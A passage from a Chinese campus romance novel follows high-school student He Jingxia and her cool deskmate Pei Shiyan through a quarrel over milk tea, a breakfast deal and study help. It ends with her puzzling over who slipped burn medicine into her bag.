下课前陆妍被班主任叫去办公室,没有人陪贺京夏玩,她百般无聊脑袋趴在课桌上,手里攥着笔在本子上乱画,不知怎么视线就瞥向旁边的位置,没停留多久她就收回目光。
她才不好奇。
管他来不来,反正跟自己没关系。
课间时间,教室里面闹哄哄的。
身后方传来一阵讨论声,应该是昨天跟裴时晏打球的男生,动作有点大,贺京夏回头看了眼,好几个男生聚集在一起,不见裴时晏。
“晏哥今天怎么没来啊?”
“不知道啊,本来还想今天下午再跟晏哥打一场的,昨天都没有打过瘾。”
“谁有晏哥电话打个电话问问。”
“都没留电话,就昨天周跃加了晏哥微信。”
“周跃给晏哥发个消息问问是不是遇到事了。”
这个年纪的男孩他们的友谊就是这么简单,一场球最后让他们玩到一块打成一片。
那个叫周跃的男孩子听到同伴喊他,立马就拿出手机给裴时晏发了个消息,可惜石沉大海,上课铃响前都没见有回复。
第二节课是英语课,老师临时有点事要走开十分钟,走前特地交代课代表看着,先自习十分钟。
贺京夏手往桌子里的伸,摸了把手机,最终还是收了心思。
这举动太莫名其妙,就算问了,又能怎么样?
有这个功夫还是学习吧,想清楚后贺京夏坐直身子,从桌子底下掏出一本英语习题,直接翻到最后一页,开始认认真真做起来。
这个是贺京夏一个独特的小癖好,她很喜欢这种做法,等老师讲到这个地方的时候再去对答案,她就能更加清楚自己的问题点,之前陆妍不理解,问她为什么。
这就好比遇到好吃的东西时,有些人会马上挑选自己最喜欢吃的东西,而有些人则会把最爱吃的东西留到最后才吃。
恰巧贺京夏就是这个后者,她一直觉得应该把好吃的留到最后,给这顿饭一个完美的结局
笔尖落在最后一道阅读题上,突然贺京夏感觉到有一只手在她肩膀上拍了一下,力度不大,她赶忙抬起头微侧看了一眼肩膀,那只手很好看,白皙又修长骨节分明,指甲被修剪的圆润干净,能清楚看到手背上微微弓起的淡青色筋络。
这只手的主人是谁,心里已经有答案呼之欲出。
她抬眼将目光往上移,撞上漆黑微冷的眉眼,眼神交汇的一刹那,空气滞住一瞬。
真的是他。
课程都过去一半,这人居然来了。
就是他整个人状态看起来不是很好,眼底顶着两团乌青,面色带着些许憔悴,看样子应该是熬了个通宵。
这时裴时晏朝她挑眉,薄唇浅浅勾了下,眸中似有潋滟星光在荡漾。
贺京夏蓦然低下头,手里的笔重重划过习题,勾勒了一个刺目的痕迹。
这人干嘛莫名其妙啊。
随后听见头顶传来他沙哑中略带疲惫的声音,“同桌,让一下呗。”
贺京夏闷闷地小声“哦”了一下,把椅子往前挪了挪,裴时晏从她的背后走过,恍惚间他的手背扫过她的背部,酥麻感从心底微微袭来,使得她腰板僵硬一刻。
每每对上他,总能让自己变得莫名其妙。
旁边的人却能若无其事坐下,没两秒钟就趴到了课桌上,整张脸埋在胳膊上,外套的帽子被他扯过盖在头顶,他眼底那两团乌青重重的,看样子似乎是一晚上没睡觉。
隔着一臂的距离,贺京夏能闻到一股橙子味洗衣液的味道中夹杂着淡淡的烟味。
跟之前不太一样,有点奇怪,却奇异的还挺好闻。
贺京夏不敢发出一点声音,生怕把旁边那位睡觉的家伙吵醒。
不过很快她就觉得自己想多了,英语老师忙完之后就回来接着开始上课,老师带着麦声音挺大声,旁边那位仍然雷打不动。
看出来他确实是很困,估计是真的一晚上没睡。
今天上午就三节课,时间很快就过去,到了中午放学的时间。
裴时晏从坐下到现在睡了两节课,一点要醒的迹象都没。
中午学校会让学生休息两个小时,一点半才开始上课,家里离的近的基本都是回家吃饭,直接在家里午休,离的远的会选择自己带饭来学校吃,或者是去学校后面的小食街吃,然后再回班里午休。
贺京夏家里虽然离得近,但是中午没有人给她做饭,所以她每次都是跟陆妍这个家里离得远的一块在学校后面解决午饭。
这个饭搭子很称职,早就收拾好东西站在门口等着贺京夏。
不想陆妍等太久,贺京夏把书都归置好,余光中瞥见趴在课桌上睡觉的身影,她拉凳子的动作轻了不少。
贺京夏拉过陆妍,头靠在她的肩膀上抱怨道:“我都累死了,你驮着我走。”
陆妍笑着立刻抱紧搭在胳膊上的那双手,应她,“好啊,那你可要抱紧我哦!”
“好好好,你快点驮我。”贺京夏用力抓紧陆妍的胳膊。
“小飞棍起飞咯~”
这会儿楼梯口还有几个没走完的同学,陆妍这一句话太□□了,引得人频频回头,贺京夏顿时觉得脸都被丢到太平洋去了,赶紧将头埋进手臂里。
贺京夏总算是体会到了动物园的猴子被人观赏是什么感觉了。
始作俑者还笑嘻嘻的,一点也不觉得丢人,还略带着点自豪。
“你头埋那么低干什么?”
“你可赶紧走吧!”贺京夏抽回自己的手,用力推着陆妍往前走。
陆妍一点都不把这个当回事事儿,她是个心大的,加上是E人属性,主打就是自我开心,一点不内耗自己。
哪有人会不发疯,想发就发。
陆妍看着她:“不是我说你,你就是体验的太少了,我们饭圈女孩都这样。”
贺京夏满眼疑惑看着她,顿了下说:“真的假的?”
“真的啊,我们好多E人,这世界上哪里有那么多正常人啊,人生嘛,
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你活着本来就是为了自己,也不是为了别人的目光。”陆妍难得感性了一回,又鼓励她,“姐妹我们要勇敢做自己。”
其实贺京夏很羡慕陆妍的心态,她完全不在乎他人的目光,勇敢做自己想做的。
“改天带你去体验体验我的追星日常。”
想都没想贺京夏直接拒绝:“还是别了,有那功夫我在家多看两集柯南。”
比起出去疯玩,她更喜欢宅在家里追动漫,社交这项恰巧是她最不擅长的。
见贺京夏不感兴趣,陆妍也没再强求,她知道贺京夏的性子,随即岔开话题。
“行吧,你想吃什么?”陆妍摸了摸肚子,“我都快饿死了,今天早上匆匆忙忙的,搞得我早餐都没吃。”
听到陆妍说早餐,贺京夏脑子突然有什么东西一闪而过。
猛然想起今天早上她好心给某人带的早餐,她有点懊悔,白瞎了那两个肉包子。
早凉透了。
见贺京夏不说话,低着头也不知道在想什么,陆妍用手戳了戳她的脑门。
“想什么呢?那么入迷。”
“吃麻辣烫去吧,有点想那个味儿了。”她不敢跟陆妍说给裴时晏带早餐这件事,依陆妍的性子知道了还得了。
“走吧,有几天没吃了,我想吃那个脆皮猪肉丸子。”
说到这个脆皮猪肉丸子,还没到地方,陆妍都忍不住要流口水了,拉着贺京夏跟脚踩风火轮似的往麻辣烫摊子走去。
近两年槐城一高后面一条街应政府号召,已经发展为了美食街,路边整整两排都是小吃店。这会儿正是放学时间,大部分不想回家开火的家长,带着小孩在小食街吃完饭才回家,街边热热闹闹的,一股烟火气。
这会儿店里人挺多,贺京夏带着陆妍挤了半天才挤进去,两个人很快就选择好彼此想吃的菜,费了半天劲儿才了个还算安静的角落。
等饭的功夫,陆妍又把自己听到的八卦趣事分享给贺京夏。
没人会不喜欢八卦,贺京夏听得津津有味。
人一说八卦就容易上头,就连饭上来了,陆妍还是喋喋不休说着。
贺京夏边吃边听着,时不时还嗯一声,避免冷场。
说到最后,陆妍想起办公室那件事,扫了一眼四周,没有班里的人,才敢大胆发言:“早上老刘不是让我去整理试卷,我听到他联系你同桌家里人。”
“嗯?”贺京夏看着她,示意她往下说。
陆妍放下筷子压低了音量:“应该是他家里出了什么事,早上老刘打他电话,他没接,后面打到他妈妈那边去了,他妈妈让老刘不要管他,还说以后跟裴时晏有关的事情都不要给她打电话,说话不是很好听语气特别冲,给我的感觉像是个后妈一样,不会真是后妈吧,谁家亲妈会这么说话,那大帅哥有点惨啊。”
能说话好听就怪了,昨天吵的那么厉害,又动了手。
想来裴时晏是真的把他妈气得不轻。
不过这些贺京夏不打算跟陆妍说,毕竟这是属于裴时晏的隐私,也不是什么好事,万一被哪一个有心人听到了,传出去对裴时晏来说不好。
谣言这种东西传播到最后只会越传越离谱。
多一事不如少一事。
“老刘都能给她打电话,那肯定是亲妈吧。”
脑子里回想起昨天的场景,可以确定,那位美丽的富太太肯定是裴时晏的亲妈,两个人眉眼间相似度很高,特别是眼睛,简直就是一个模子刻出来的,毋庸置疑肯定是亲母子俩。
这个依据陆妍并不认同,“后妈也能请假啊,而且她口中那个裴时晏跟我们见到的有点判若两人了,她说裴时晏就是个无可救药的混子,让老刘别管了,没救了已经啥啥啥的,你说哪一个亲妈会这样说自己的孩子的。”
这些话昨天现场版听过了,所以贺京夏倒是没多惊讶。
她跟陆妍的家庭都是相对于比较幸福美满,父母没对她们说过太重的话,她能理解为什么陆妍会觉得裴时晏跟他妈妈的关系不像亲生的。
每个人都有不得已的苦衷,上帝派送幸福的时候,也会遗漏掉一些。
贺京夏不想再说这个话题,“你快点吃吧,饭要凉了。”
再想到班里那个趴着睡觉的身影,食欲没来之前那么好,最后贺京夏把打算留到最后吃的丸子都夹给了笑的龇牙咧嘴的陆妍。
7. 难捱
中午吃过饭后,两个人在回学校的路上,贺京夏突然很想喝一杯芋圆奶茶,便拉着陆妍去校门口奶茶店。
等奶茶的间隙,有些无聊,贺京夏的眼神在四处飘散。
今天中午陆妍喜欢的那个团有活动,眼下这会儿正忙着看活动直播,压根没空搭理她。
她们坐在靠窗的位置,正对着学校大门口。
贺京夏随意一瞥,就捕捉到一张熟悉的脸,她怔愣了一下。
看他那样子,应该是休息够了,整个人跟没骨头一样倚靠在校门口的围栏圈边坐着,时不时抬起眼看一下,看他的样子似乎像是在等人。
细看这才发现裴时晏手里还提着一个白色小塑料袋,他指尖勾着塑料袋的提手悠闲地转圈,隔得有些远,贺京夏看不清楚里面装的什么。
不过那个袋子挺眼熟,似乎在哪里见过。
就在这时,她突然看到章絮迈着欢快的步伐从学校走出来,直奔裴时晏坐的位置跑去去,脸上的表情是肉眼可见的高兴。
所以裴时晏是在等章絮?
他不是拒绝她了吗?
贺京夏眉头紧蹙盯着窗外的二人,章絮站在裴时晏跟前,身体将裴时晏挡着,贺京夏看不到他的脸,也不知道他什么表情。
章絮应该说了几句话,然后从衣服口袋掏出一个东西递向裴时晏,她的手一直举着,裴时晏并没有伸手去接。
片刻后,不知道裴时晏跟她说了什么,章絮突然一个人跑开。
手还在擦拭着脸颊,模样有点可怜,像是被他拒绝了。
这时贺京夏才看清楚他脸上的表情,似是不耐,而后看见他起身拍了拍裤子,看样子应该是准备走了。
所以他刚才坐在那里是真的在等章絮?
但是刚刚章絮是哭哭啼啼着走的,裴时晏不可能专门等人家,就为了拒绝别人。
如果真是这样,那这家伙也太变态了吧。
不过转念一想又觉得像他的作风,毕竟他是裴时晏,一个捉摸不透的人。
这个猜想也不过一分钟就被打破了,因为马路的对面很快跑过来一个人,定睛一看是周跃。
“四十四号顾客您的奶茶好了。”
奶茶店的广播响起,贺京夏抓过桌子上的小票看了一眼,四十四号正好就是她们,赶忙起身去吧台拿奶茶。
***
周跃一上来就拉着裴时晏的胳膊,连忙道歉,“晏哥对不住,都怪徐寻这家伙。”
裴时晏眼神中带着不悦,伸手就拍掉肩膀那只手,压着胳膊睡了两节课,现在整只手都是酸的。
经不起一点折腾。
“起开。”语气淡淡地。
经过这些日子的相处,周跃渐渐习惯他这副淡然的样子。
这时眼尖的周跃看到他手上还提着两个大包子,好奇地问:“晏哥你不是跟我们去吃饭吗?怎么还提着两个大包子?”
裴时晏并没有立刻回他,低着头看向手上的肉包子。
昨晚那张笑盈盈的脸此刻在他的脑中挥之不去。
那张脸就像一束光,一点点照进黑暗的世界,成为引路者。
“晏哥?”周跃见他不吭声喊了他一声,又问,“想什么呢?”
“我饿了,吃饭的地你们定在哪里?”裴时晏随口扯了一句。
“不远的,走过去就几分钟。”周跃手指向马路对面的一家店,“就前面拐角。”
“走吧。”
说完裴时晏先一步往前走,也不等身后的周跃。
路过奶茶店时,门口的广告语让他的眼神停滞了半刻——樱吹雪,风花落,白桃羞红了耳朵。
眼神不自觉随里面瞥了去,吧台站的女孩手里正抱着两杯奶茶,她耳边的碎发散落,许是扎到了脸颊,她又放下一杯奶茶,手轻轻将碎发挽到耳后。
随后露出一个满意的笑容。
等周跃追上来后,裴时晏的目光已经收回,步子没停前走,可能他自己都没察觉到,眼底多出的几分笑意。
***
贺京夏抱着奶茶回到座位后,又把目光放到刚才的方向,哪里已经没有她想见的人。
想来应该是跟周跃吃饭去了吧,贺京夏转回头。
心里说不出什么滋味。
她拆开了奶茶的吸管,浅浅喝了一口,依旧是她最熟悉的味道,第一口就吸到了芋圆,她的开心又回来了!夏天少了什么都不能少了奶茶!
两个人又坐了有十分钟,陆妍的直播才结束。
“啊啊啊我的哥哥真的太帅了!”陆妍喝了一口奶茶,激动跟她说着刚刚的直播,“跳的那个舞,不自觉间掀起衣角,若隐若现的腹肌,我真的心动了!”
贺京夏不追星,不太懂她说的这些,没法感同身受。
倒也没不扫兴,跟着附和了两句,“能看得出你很激动,记得擦擦你的哈喇子。”
陆妍一脸怨念地看着她:“不要毁我形象,在外我还是很克制的好吧!”
虽然嘴上是这样说,但是她伸手去擦嘴角动作还是出卖了她。
贺京夏一下子就被她逗笑,伸手捏了捏陆妍满是胶原蛋白的脸颊,“是是是,你最矜持了。”
别说,这手感还真不错,又忍不住捏了一把,这次下了一点力道,疼的陆妍起身就要揍她。
眼看时间也差不多了,两个人赶紧回教室,贺京夏刚坐下没两分钟,门口就出现一阵打闹声,声音不大不小,贺京夏的余光瞥见是裴时晏跟周跃那群人,他被簇拥在中间位置。
走到哪里他都是最亮眼那一个,其他人都在说说笑笑,只有他永远是一副高高在上淡然样。
贺京夏看到他的脚步正朝着这边走来,很自觉把椅子往前挪了挪。
那道脚步声在贺京夏的课桌前停下,等了半晌都不见有动静,她抬起头,落入了那双眉眼深邃里。
裴时晏将手里的奶茶放在她的课桌上,才从她的身后绕回回自己的位置。
贺京夏愣了愣,视线放在那杯奶茶上。
这是给她的?可为什么?
桌子上那杯奶茶贺京夏对它充满了许多未解。
她是一个不太能藏的人,曾经贺州给她的点评就是急性子,什么情绪都在脸上写着,跟怕别人看不出似的。
思考了一会儿,当下她就将奶茶推回裴时晏的桌子上。
“无功不受禄。”然后贺京夏又继续道,“你的好意我心领了。”
“给你的,你拿着就行。”裴时晏压低了声音,模样漫不经心。
无缘无故的示好,她可不接受。
贺京夏脑子快速编了个理由来搪塞,“我爸妈说没事不要接受别人的东西,万一别人别有用心呢?”
只是这个理由裴时晏压根就不信,嗤笑了一声,他掀起眼皮黑漆漆的眼眸在她身上划过。
“你多大了?”裴时晏侧头,笑了,眼底意味分明,“那我是不是应该还夸你一下。”
“你还真是个好宝宝。”
是个人都能品得出,他话里话外的嘲笑,太明显了,都不知道装装。
贺京夏气呼呼地白了他一眼,喝就喝,气死他了。
谅他也不敢下毒。
贺京夏抬手将刚刚推出去的奶茶,拿回自己的眼前,很干脆剥开吸管的纸壳子,用力插进去猛猛地喝了一大口。
当然还不忘给他一个挑衅的眼神。
这个味道居然意外得到贺京夏的青睐,比她最爱的芋圆奶茶好喝!不是很甜,淡淡桃子味在味蕾间晕开,可能是杯底的果酱没摇匀,吸管搅了搅,又喝了一口,唇齿间溢出白桃味。
裴时晏慢悠悠的收回了视线,空气中有一股淡淡的白桃味儿,有点甜,还不腻。
拿人手软吃人嘴短,这道理贺京夏比谁都清楚。
奶茶喝完她气都消了,抿着唇纠结了半天,还是温声细语地跟他说了句谢谢。
“那你准备怎么感谢我?”裴时晏倚靠在椅子后,双手环抱着手臂,模样吊儿郎当的。
说者无心听者有意。
本意就是礼貌,这家伙还当真就借势顺着杆子爬上了。
贺京夏手撑着下巴,认真地想了半天,也没想到,将话题又抛回去给了裴时晏,“那你想我怎么谢?”
只要是裴时晏提的要求不过分,也不是不可以。
他颇有兴趣,还真就认真地想了想,挑眉道:“那就以后早餐你包了吧。”
言语间还有一股勉为其难的味道。
一杯奶茶换往后两年多的早饭?这不就是典型的亏本买卖。
盘算了一遍自己的小金库,这买卖可不能做,坚决抵抗不公平条约!
“我觉得有点不公平。”
贺京夏还是有点怕裴时晏的,她说话的时候都没什么底气。
“嗯?”裴时晏打量了她一下,笑得有些轻慢,“所以呢?”
“不如这样,以后你的早餐我包了,我遇到数学不会的我找你。”这个办法简直两全其美。
这个提议要是换个对象谈判,贺京夏有百分百的胜率,偏偏这人是裴时晏。
拿不定主意,心里说不忐忑是假的。
“好啊。”他答应的很痛快。
不知道是不是错觉,这一幕就好像他专门挖了个坑等着她来跳一样。
贺京夏预想中会跟他周旋一番,实属没想到他这么轻松就答应了,记得之前老师提议的时候他还义正言辞拒绝来着。
怎么现在松口了?
这其中不会有诈吧?
难道不成是他的富婆老妈断了他的资金,惨到现在早饭都吃不起,要不然把他午饭也包了?想到这儿贺京夏还是有点肉疼的,不过要是能帮到他,也没什么。
可是他那么傲的人肯定会觉得自己是在可怜他,怎么做才能让他感觉不到呢?
裴时晏看她脸上一会一个表情,心中暗想不是已经答应她了,怎么好像还是不太满意的样子。
真不怪裴时晏多想,是贺京夏脸上的表情真藏不住,得亏裴时晏不知道她那些小九九,要是知道得被她气笑。
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想了好半天,贺京夏还是准备循序渐进慢慢来,一口气可没办法吃成个大胖子。
“裴时晏。”她喊。
“说。”
这家伙还真是惜字如金呐。
“既然你辅导我数学了,那我辅导你英语跟语文吧。”
“不需要。”
拒绝的很干脆,让人猝不及防。
“为什么?”
贺京夏并不打算放弃,才被拒绝一次而已。
“没必要。”
这话一点也不假,未来什么的对裴时晏来说都是缥缈的东西,他握不住也不需要。
“你数学那么好,你只要好好学数学跟英语肯定可以考上很好的学校的。”贺京夏苦口婆心地劝着,默了默又说道,“而且那是你自己的未来,你得对你自己负责。”
殊不知这句话踩了裴时晏的雷区。
裴时晏好似听到了天大的笑话,他敛起唇,冷声道:“你又是以什么资格,在这里对我的人生指手画脚?”
他的话说的很重,令贺京夏感到不舒服。
真是个好赖不分的家伙,就不应该管他的,就应该让他在泥塘里发烂发臭。
心软什么啊!不该多嘴的,这下好了,遭人烦了吧!
贺京夏抿着唇,吸溜了一下鼻子,不再多看他一眼,快速转过身,还将凳子移远了些,头趴在课本上,沉默不语。
她很清楚现在的样子多少失态了些。
她就是不想舔了,随便他怎么想吧,反正自己以后都不会多嘴去管他一句。
此时裴时晏也很懊悔,意识到自己对她口不择言,还将话说的那么重。
想补救可是看她偏过头,一点都不想理自己,他便无从下手。
看她那个样子,肯定是生气了。
窗外有风吹进来,将她的发丝吹起,空气里蔓延着一股栀子花的香味。
裴时晏移开视线,心底没由得多了一阵烦躁,这股莫名其妙的情绪不知从何而来。
整整一节课贺京夏都没有将心思放在学习上,好在今天这节课的内容她之前就提前学习过了,问题不算大。
下课后,陆妍来找她去打水。
看贺京夏的兴致不高,关切地问她:“怎么了?怎么愁眉苦脸的?”
贺京夏倚靠在门上,吹着水杯里的水,水蒸气飘在她的眼皮上,她不舒服伸手揉了把,故作轻松道:“没事,挺好的。”
眼睛长在陆妍身上,她怎么可能看不出贺京夏的不对劲,脸上那表情都拧到一块去了,眉头都能夹死好几只苍蝇,这是没事人该有的样子?
“我不信。”陆妍关掉接水按钮,盖子盖好后,“你的表情早出卖你了。”
听她这么一说,下意识贺京夏伸手摸了把自己的脸颊。
“有那么明显吗?”
陆妍没说话,挑眉看着她,那模样仿佛在说对她说,这还需要问吗?
贺京夏叹了口气,低头喝了口水杯里的水,水还没有凉,她这一喝直接把舌头烫麻了,嘴里火辣辣的,好似要把舌头烫穿一般。
陆妍着急忙慌把手里的水杯放下,拿过贺京夏手里的杯盖,快速给她接了口凉水,递到她的嘴边,“快点把这口凉水含在嘴里,降降温。”
贺京夏很听话接过水含在嘴里,虽然没办法一下子根治,胜在有所缓解。
看她脸色好了很多,陆妍那颗悬着的心才放下。
“都多大人了,怎么还跟个小孩子一样冒冒失失。”重话陆妍没办法跟她说,草草指责了一句,希望她能记在心。
喉咙处的疼痛感刺激着贺京夏,她现在没法说话,嘴里还含着水,只能胡咧咧咿咿吖吖。
说的什么陆妍也听不懂,她这样子整得像个被毒哑的,实在好笑,陆妍想笑又不敢笑,忍的挺辛苦。
最后也是没忍住,对着贺京夏哈哈笑起来。
还算给她面子,笑容收敛不少。
丢人都到姥姥家了,试问哪一个人,能连着好几天都闹笑话,想来她贺京夏上辈子应该是个谐星,要不然今生今世也不会有那么多笑料。
知道当着受害人的面嘲笑有点不道德,可谁让真的太好笑了。
接受到贺京夏投来不善的眼神,陆妍很快调整好面部表情。
“夏夏我真的不想笑你。”
贺京夏吐掉口中的凉水,白了她一眼。
“是我太好笑了。”而后又补充道,“然后你忍不住,对吧?”
陆妍点了点头。
“行,从即日起,贺京夏跟陆妍正式绝交!”贺京夏倒掉水杯的水,把盖子盖上,理都不理陆妍一个人回了班里。
看着前面那道俏丽的背影,陆妍笑的直摇头。
又是这一招,每每她们两个有什么小矛盾,或者是对方有什么意见不统一的,都会来这一招。
陆妍提起水杯,跟着她身后,朝她喊道:“这次是多久啊?十分钟还是二十分钟?”
“一节课。”
傲娇的声音从前面传来。
8. 难捱
贺京夏抱着水杯回到座位上,虽说不会再管裴时晏,可余光还是不经意间会落到旁边的位置上。
罕见的事情居然发生了,裴时晏没睡觉也不出去玩,一反常态坐在位置上整理笔记。
贺京夏偷偷瞄了一眼是数学公式,他神情专注注意力都放在笔记上,根本没看到贺京夏的眼神。
知道他看不到,贺京夏狠狠地剜了他一眼。她能被热水烫到,裴时晏功不可没,他就是罪魁祸首。
又在心里记了他一笔。
当然她心里这些小九九裴时晏并不知道,但下一秒,他却像是有所感应一般,将视线从书本上转移到贺京夏的身上。
只是旁边的人半个眼神都没给他,乖乖巧巧坐在位置上,抱着个热水杯子,一声不吭地跟个小鹌鹑似的,眉眼低垂着,也不知道在想什么。
不知是不是错觉,裴时晏感觉出贺京夏现在对他的怨气颇深。这么多年他接触过的女性不多,除了白女士就是他姥姥,他没跟贺京夏这类型的女孩子接触过,不懂女生生气了应该怎么去哄。
如果他知道会发生这种事,他只会嘴上把住门,不会对她说那么重的话。
现在特别后悔,当时自己为什么要跟一个小女生置气,人家一个女孩子他让着点又没什么。
偏偏要搞成现在这样不痛快。
现在好了,真的是自作孽不可活。
这时陆妍朝着贺京夏这边走过来,伸手敲了敲贺京夏的课桌:“放学等着我,陪你去拿点药,别等晚上烫伤的位置长泡了,到时候会很难受。”
喉咙灼烧般的疼痛感让贺京夏没有办法发出声音,只好给陆妍比了个“OK”的手势。
“这就是嘴硬的下场,看你还敢不敢,保不齐下次烫到的就不是你的嘴了。”陆妍又多嘴了一句。
听听,这是人该说的话吗?跟这个家伙绝交真的是对的!
这句话真是把贺京夏这个病号气得半死,最惨得是她连反击都没有办法。
命运是公平的,它真的不会见到谁惨就眷顾谁。
裴时晏一下子就捕捉重要的信息,原来是被水烫伤了嘴,难怪情绪不高涨,跟个小鹌鹑一样。
最后一节课是数学课,自从上次刘越提出让贺京夏跟裴时晏互相搭配学习后,每次上数学课他都会点贺京夏的名字,仿佛是在验收成果。
这节课也没有例外,他又点名了贺京夏回答问题。
“这道题……就京夏吧,你来说一下答案跟解题思路。”
贺京夏的喉咙还跟有东西在堵着似的,没办法发出一点儿声音,众目睽睽下就这么干站着,迫于无奈,最后她冲刘越比划着自己喉咙的位置,想告诉他自己难受开不了口。
不过刘越会错意了,以为她是想到了答案,只是表达不出,还耐心安慰她:“不要着急京夏同学,慢慢来,老师会等你。”
贺京夏急得跟热锅上的蚂蚁一样,她听到周围开始传出小声的议论。
“老师你别为难她了,她喉咙受伤了说不了话。”裴时晏起身打破了这场僵局,他扫了一眼黑板,“答案是根号8。”
对此刘越也没有多说什么,让二人都坐下,还好心对贺京夏嘱咐了句多喝水尽快养好喉咙。
贺京夏余光瞥了一眼身旁的人,双眸瞬间被男生那双略带笑意的眼吸入,贺京夏慌乱地收回自己的视线,垂眸试图将注意力放在试卷上。
任凭她怎么集中精力都没有用,脑子跟抽筋了一样,一会一会闪出方才裴时晏那张带着笑意的脸。
他刚刚是在对自己笑吧?没看错吧!
他笑什么?
她可没忘不久前她们才吵架,他是想用笑容感化她吗?不会吧,这可不像是他的作风。
就算是这样她也坚决不会原谅他,谁让他说话那么过分,要是……他真的来道歉,那可以考虑考虑。
不过有一说一,裴时晏笑起来的时候比平时好看太多了,一笑起来他的眼尾就会往上勾,褪去平时的冷淡,多了几分温和,看着好相处多了。
这让她想起前些日子读的《世说新语》,里面有一句用来赞叹王恭的,眼下用来形容他也是很贴合的。
“濯濯如春月柳,轩轩如朝霞举。”
以前对这个评价没有读懂,遇到了才明白这话是一点都不夸张。
放学后,贺京夏收拾好东西,准备跟陆妍一块回家。
才走到门口,陆妍就被她同桌叫住:“陆妍,你是不是忘记了,今天轮到咱俩值日了,你还不能走。”
两人停下脚步,看了一眼黑板的值日表,果不其然,值日生写的是陆妍跟她同桌。
“好,马上。”陆妍高声回了一句,把书包丢给了贺京夏,压低了声音对她说,“夏夏,那你先坐着等我会儿,十分钟搞定。”
“去吧。”贺京夏咧着沙哑的嗓子轻声回了她一句,然后不缓不慢抱着陆妍的书包又回了自己的座位。
陆妍跟她的小同桌分工好了之后,开始埋头苦干。
贺京夏低头趴在桌子上,没多大会儿她就开始犯困。
天人交战了一会儿,缓缓闭上眼睛,反正陆妍等一下会来找自己,睡着也没关系。
过了一会儿,贺京夏隐约间听到了脚步声,有点沉闷,似乎是停在她旁边,因为太累了不想动,她只当是陆妍回来了,嗓音夹带沙哑低低说:“阿妍你扫完喊我,好困啊,我先睡会儿。”
窗外有风在吹,后面的门被吹的来回作响,吵的贺京夏睡都睡不好。
强忍着嗓子里的不适,贺京夏小声再次开口。
“阿妍,把门带上。”
没一会儿,身后传来轻微的关门声,动作很轻。
门响动声随即消失,脚步声也跟着渐行渐远,很快便听不见。
贺京夏满意地调换了个姿势接着睡。
没过多久,教室里传来陆妍的叫喊声。
“夏夏别睡了,我好了,咱们走吧。”
贺京夏缓缓抬起头,揉了揉发酸的眼睛,看向身后正在摆放扫把的人:“你怎么这么快就回来了。”
“不想你等太久,行了,咱们走吧。”陆妍走上前,拿过自己的书包背上,“别等会儿小诊所关门了。”
“好。”贺京夏起身伸了个懒腰,背着书包跟陆妍一起走出教室。
等二人走出校门口才发现天色已晚,黄昏的夕阳慢慢坠下山去,堆满着晚霞的天空,也渐渐平淡下来,没了色彩,夜幕即将来临。
两个人拐弯去了学校后面那条小巷子口,那边有一个还算不错的诊所,平时学校的学生有个头疼感冒都会去那里抓药。
医生让贺京夏把嘴巴张开,用手电筒往嘴巴里面照,看了一会儿后放下手电筒:“小姑娘怎么那么不小心,那可是热水,一个不小心给你声带都烫伤了,到时候可就麻烦了。”
“医生现在怎么办,问题大不大。”陆妍焦急询问。
医生对着她们和蔼地笑笑,安慰道:“问题不大,你们应该是做了紧急措施。现在喉咙里面只是有点小红肿,后面不会起泡,这两天就先搭配这个药去试试。”
说完医生就起身往药房去,大概两分钟就从里面出来,手里拿着一盒药递给了贺京夏。
“谢谢医生。”
“还是要小心着点,毕竟是个姑娘家的,嗓子很重要的,今天还挺稀奇的,前脚刚走一个,后脚又来一个你,现在你们年轻人都流行组团看医吗?”
“嗯?”贺京夏疑惑地看着医生,问道,“今天还有人被烫伤了?”
“你是第二个。”医生顿了顿又继续道,“也就十分钟前,一个伙子来找我拿药,说他朋友被烫伤了。”
陆妍笑着打趣:“烫伤还能赶一块,这人估计跟你一样,是个冒失鬼。”
给孩子留点面子吧,马上裤衩都要丢没了。
“可
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不是,你们这些小孩真别不把烫伤当回事,这严重了是要出人命的。”
“好的医生,麻烦您了。”贺京夏听话地附和着。
医生也不好再多说她什么,只是叮嘱了一下用药的量。
从诊所出来,贺京夏不放心陆妍一个人回去,两个人又走了一段路。贺京夏把她送到公交站,看着她上了车,才提着药回家。
到家才发现家里没人,爸妈还没有回来。
贺京夏放下手中的药袋子,先进厨房洗了把手,擦干净手拿起放在柜子上的电饭煲,盛了三个人的米饭,将米掏干净之后,放回电饭煲把时间定好。
等米饭蒸好,宋丽差不多也该下班回来,到时候只用把菜炒好就能直接吃饭了。
贺京夏有洁癖,将柜台上的水渍擦干净,洗干净手,她才走出厨房,提着书包回自己屋里。
明天是周末,各科老师布置的作业不少。为了周末能愉快的度过,贺京夏决定先把作业写完后再好好野。
她拉开书包的拉链,把里面的东西都倒出来,书包旁边的口袋发出窸窸窣窣的塑料袋子摩擦声,好像有什么东西在里面卡住了,她伸手往里掏了掏。
看着手里的塑料袋子里面包裹着的药,她心生疑惑,如果没有记错的话,刚刚她已经把药放在外面了,那这个药是谁的?
她走到客厅,看着桌子上两份一模一样的药,陷入沉思。
脑子里又回想起先前医生调侃的话,今天下午不止一个人烫伤,拿药的是一个男孩子,她喉咙受伤这件事只有班里的人知道,也就是说给她放药的人应该是班里的男孩子。
可那人是谁呢?在班里除了跟陆妍关系比较好,很少跟别人打交道,能说的上话的女生也就一两个,更别说男孩子了。
而且从放学后书包基本是跟着自己,属于寸步不离,这个人是怎么做到悄无声息给她塞的药?目的又是什么?
种种疑惑围绕在她的心头。
究竟是谁呢?
想到这儿贺京夏不寒而栗,这个人能做到这种地步,绝对不简单的。
贺京夏将今天全部的事都在脑子里回忆了一遍,想借此寻找点线索,可是一点也找不到,每一条都很合理,但又似乎遗落了点什么,她想不起来是在哪里。
从数学课结束后就放学了,在这个期间她一直都跟陆妍在一起。如果有人给她塞药,那以陆妍的性格绝对会跟她说的,也就是说这个人肯定是趁着陆妍不在的时候偷偷放的。
那也就是她睡觉的时候。
所以那个脚步声根本不是陆妍?那是谁?
为了验证自己的猜想,贺京夏手忙脚乱找出手机,快速编辑好一条消息给陆妍发了过去。
【不是惊吓:值日的时候你是一直在教室里面吗?】
陆妍应该还在公交车上,消息几乎是秒回的。
【陆妍:没有啊,中途我跟蒋圆一块去倒垃圾了,那个桶太大,她一个人提不动。】
果然如她想的一样,这个人就是在陆妍走开的时候给她塞的药。
贺京夏咬着手指想了想,又敲了行字发过去。
【不是惊吓:那你们去倒垃圾的时候有碰到有人回班里吗?】
【陆妍:好像有吧,记不太清楚,当时我着急倒完垃圾回去找你,没有太注意这个。】
线索又断开了,究竟是谁,为什么这么做?
既然害怕她知道,那为什么还给她买药?
这个人到底有什么目的?
